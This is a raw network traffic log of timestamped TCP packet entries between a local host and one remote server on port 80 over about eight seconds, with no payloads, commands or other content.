Nov 29, 2024 01:52:24.417506933 CET	80	49762	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.420715094 CET	49762	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.420762062 CET	49762	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.488806963 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489023924 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489056110 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489064932 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489129066 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.489140987 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489150047 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489182949 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.489219904 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489265919 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489314079 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.489342928 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489351988 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489387989 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.489409924 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489546061 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.489593029 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.534729958 CET	49764	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.540700912 CET	80	49762	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.609200001 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.609210968 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.609252930 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.609286070 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.609302998 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.609410048 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.609438896 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.609491110 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.653359890 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.653443098 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.654649019 CET	80	49764	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.654717922 CET	49764	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.654834032 CET	49764	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.773464918 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.774724960 CET	80	49764	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.774914026 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.817367077 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.941394091 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.941452980 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.145448923 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.145531893 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.323052883 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.323165894 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.443231106 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.443267107 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.443279028 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.443295002 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.443434000 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.552797079 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.552897930 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.552989006 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.672967911 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.782831907 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.838035107 CET	80	49764	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.838373899 CET	49764	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.838433027 CET	49764	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.902909040 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:25.906394958 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.906521082 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.906553030 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.906605005 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.906630993 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.940849066 CET	49766	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:25.958424091 CET	80	49764	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026401997 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026680946 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026712894 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026738882 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026796103 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.026870012 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026901007 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.026918888 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.026945114 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.026988983 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.027026892 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.027029991 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.027069092 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.027098894 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.027115107 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.027143002 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.027158022 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.027206898 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.027223110 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.027255058 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.027266026 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.060791969 CET	80	49766	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.062370062 CET	49766	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.062485933 CET	49766	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.146845102 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.146869898 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.146915913 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.146941900 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.146949053 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.146964073 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.146992922 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.147002935 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.182346106 CET	80	49766	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.189332962 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.189518929 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.309485912 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.309556007 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.357383013 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.357444048 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.474939108 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.569438934 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.569494963 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.817429066 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.817639112 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.897185087 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:26.897264957 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:26.937751055 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017282009 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017298937 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017376900 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017394066 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017453909 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017489910 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.017540932 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.136359930 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.136450052 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.136594057 CET	49765	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.245945930 CET	80	49766	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.246124983 CET	49766	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.246275902 CET	49766	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.256561995 CET	80	49765	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.363384008 CET	49767	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.366204977 CET	80	49766	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.409286022 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.483931065 CET	80	49767	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.484010935 CET	49767	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.484153032 CET	49767	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.529261112 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.529453039 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.529521942 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.529521942 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.529587030 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.529613018 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.603997946 CET	80	49767	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649557114 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649655104 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649669886 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649677992 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649715900 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.649736881 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.649749041 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649786949 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649821043 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.649847031 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649887085 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.649888039 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.649926901 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.650007010 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.650019884 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.650063992 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.650105953 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.650115967 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.650165081 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.769727945 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.769747019 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.769823074 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.769825935 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.769841909 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.769872904 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.769897938 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.813389063 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.816621065 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.933497906 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.933715105 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:27.977391005 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:27.977487087 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.097414970 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.189636946 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.192771912 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.437397003 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.439383030 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.500174046 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.500458956 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.559428930 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620620012 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620630026 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620750904 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620768070 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620915890 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620924950 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.620987892 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.667848110 CET	80	49767	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.667905092 CET	49767	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.667963982 CET	49767	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.729839087 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.729895115 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.729929924 CET	49768	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.784650087 CET	49769	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.788352013 CET	80	49767	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.850590944 CET	80	49768	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.904679060 CET	80	49769	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:28.908169031 CET	49769	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.908432961 CET	49769	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:28.996783972 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.028284073 CET	80	49769	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.116714001 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.120562077 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.120588064 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.120625019 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.120682955 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.120707035 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.240592957 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240704060 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240732908 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240765095 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240792036 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.240822077 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240870953 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240942001 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240974903 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.240982056 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.240998030 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.241027117 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.241028070 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.241058111 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.241084099 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.241101027 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.241133928 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.241178989 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.241189957 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.241231918 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.360810041 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.360856056 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.360980988 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.360992908 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.361030102 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.361030102 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.361074924 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.405433893 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.405771971 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.525396109 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.525597095 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.569494963 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.569556952 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:29.689408064 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.777507067 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:29.777558088 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.025502920 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.025686979 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.045983076 CET	80	49769	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.046260118 CET	49769	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.046260118 CET	49769	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.074384928 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.076545000 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.145683050 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.159648895 CET	49771	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.166245937 CET	80	49769	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196506023 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196585894 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196655989 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196713924 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196722031 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196847916 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.196856022 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.279555082 CET	80	49771	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.279658079 CET	49771	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.279799938 CET	49771	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.304306984 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.304372072 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.304414988 CET	49770	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.399657965 CET	80	49771	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.424468040 CET	80	49770	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.502577066 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.622585058 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.622664928 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.622848988 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.623014927 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.623014927 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.623039007 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.742695093 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.742863894 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.742909908 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.742994070 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743036985 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743045092 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743060112 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.743096113 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.743177891 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743208885 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743227959 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.743244886 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.743330002 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743339062 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743391991 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.743405104 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743412971 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.743454933 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.863281012 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.863310099 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.863323927 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.863370895 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.863496065 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.863496065 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:30.905416012 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:30.905524015 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.025511026 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.025597095 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.069456100 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.069521904 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.189399958 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.277431965 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.277508020 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.416817904 CET	80	49771	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.416923046 CET	49771	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.416982889 CET	49771	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.520792007 CET	49773	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.525413990 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.525463104 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.536916018 CET	80	49771	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.580847025 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.580931902 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.640755892 CET	80	49773	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.640824080 CET	49773	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.640953064 CET	49773	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.645373106 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701025009 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701042891 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701169014 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701176882 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701250076 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701257944 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.701318979 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.761058092 CET	80	49773	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.810744047 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:31.810826063 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.810868979 CET	49772	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:31.930831909 CET	80	49772	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.073375940 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.193420887 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.193486929 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.193599939 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.193667889 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.193718910 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.193742990 CET	49774	80	192.168.2.4	72.52.178.23
